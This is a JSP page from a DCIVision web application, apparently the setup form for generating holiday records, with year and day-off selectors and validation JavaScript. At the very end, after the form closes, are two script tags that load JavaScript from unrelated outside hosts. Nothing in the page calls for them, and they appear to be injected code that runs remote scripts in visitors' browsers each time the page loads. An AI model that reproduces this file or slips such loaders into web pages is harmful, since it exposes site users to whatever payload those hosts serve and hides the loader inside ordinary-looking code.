<%
/*
 * @(#)EditHolidayRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditHolidayGeneration.jsp

  This class is used for user record's edit and view only

    @author           Weison Liang
    @company          DCIVision Limited
    @creation date    30/03/2005
    @version          $Revision: 1.6.22.2 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id='maintHolidayGenerationForm' scope="request" class='com.dcivision.setup.web.MaintHolidayGenerationForm'/>

<html:form action='setup/MaintHolidayGeneration' onsubmit='return false'>
<html:javascript formName='maintHolidayGenerationForm' method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY,SystemFunctionConstant.SETUP_HOLIDAY_RECORD);

  java.util.Date currDate=new java.util.Date();
  List workingCalList = (List)request.getAttribute("WORKING_CALENDAR_LIST");

  String[][] YEAR_MAP = new String[10][2];
  int year = currDate.getYear()+1900;
  for(int i=0;i<YEAR_MAP.length;i++){
    YEAR_MAP[i][0] = String.valueOf(year+i);
    YEAR_MAP[i][1] = String.valueOf(year+i);
  }

  String DAY_OFF_SETTING[][] = {
                                                          {"setup.generation.work",HolidayRecord.DAY_OFF_NONE},
                                                          {"setup.generation.half",HolidayRecord.DAY_OFF_HALF},
                                                          {"setup.generation.full",HolidayRecord.DAY_OFF_FULL}
                                                        };

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
%>
<script language="Javascript">
<!--
function custOpSave(frm) {
  if(document.maintHolidayGenerationForm.workingCalendarID.value==''){
    alert("<bean:message key='setup.holiday.region.required'/>");
    return(false);
  }
  if(document.maintHolidayGenerationForm.year.value==''){
    alert("<bean:message key='setup.holiday.name.required'/>");
    return(false);
  }
  if (frm.today.value > frm.year.value){
    alert("<bean:message key='common.message.from_later_than_current_time'/>");
    return(false);
  }

  return OpSave();
}
-->
</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type="hidden" name="today" value="<%=currDate.getYear()+1900%>">
<input type="hidden" name="workingCalendarID" value="1">

<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> <bean:message key='setup.generation.info'/></font>
<layout:returnButton>ListHolidayRecord.do?opMode=LRETAIN</layout:returnButton></layout:titleFormat>
<!-- Page Title Section End -->

<!-- Page Title Section End -->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <layout:sectionHeader name="setup.generation.info"/>

  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='setup.generation.year'/>:&nbsp;</td>
    <td class="dataField" width="630">
      <input type="hidden" name="oldYear" value="<%=maintHolidayGenerationForm.getYear()%>">
      <html:select property="year">
      <html:options stringArray='<%=YEAR_MAP%>' hasSelect='false' convertLabel='false'/>
      </html:select>
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='setup.generation.day'/>:&nbsp;</td>
    <td class='dataField' width="630">
      <table width="100%" border="0" cellspacing="2" cellpadding="0">
      <%
        for(int i=GregorianCalendar.SUNDAY;i<=GregorianCalendar.SATURDAY;i++){
          String propertyName = "dayOff"+i;
          String labelName = "setup.generation.day_of_week."+i;
      %>
      <tr>
        <td><bean:message key='<%=labelName%>'/></td>
        <td>
          <html:select property="<%=propertyName%>">
          <html:options stringArray='<%=DAY_OFF_SETTING%>'/>
          </html:select>
        </td>
      </tr>
      <%}%>
      </table>
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel />" width="150"><bean:message key='setup.generation.include'/>:&nbsp;</td>
    <td class="dataField" width="630">
      <html:checkboxOptions dbListName='holidayReferenceList' name='referenceList' nameValue='<%=maintHolidayGenerationForm.getReferenceList()%>' hasSelect='true' width='630'/>
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel />" width="150"></td>
    <td class="dataField" width="630">
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' width='1' height='10'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return custOpSave(maintHolidayGenerationForm);"/>
    <%}%>
    </td>
  </tr>
</table>
</td></tr></table>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>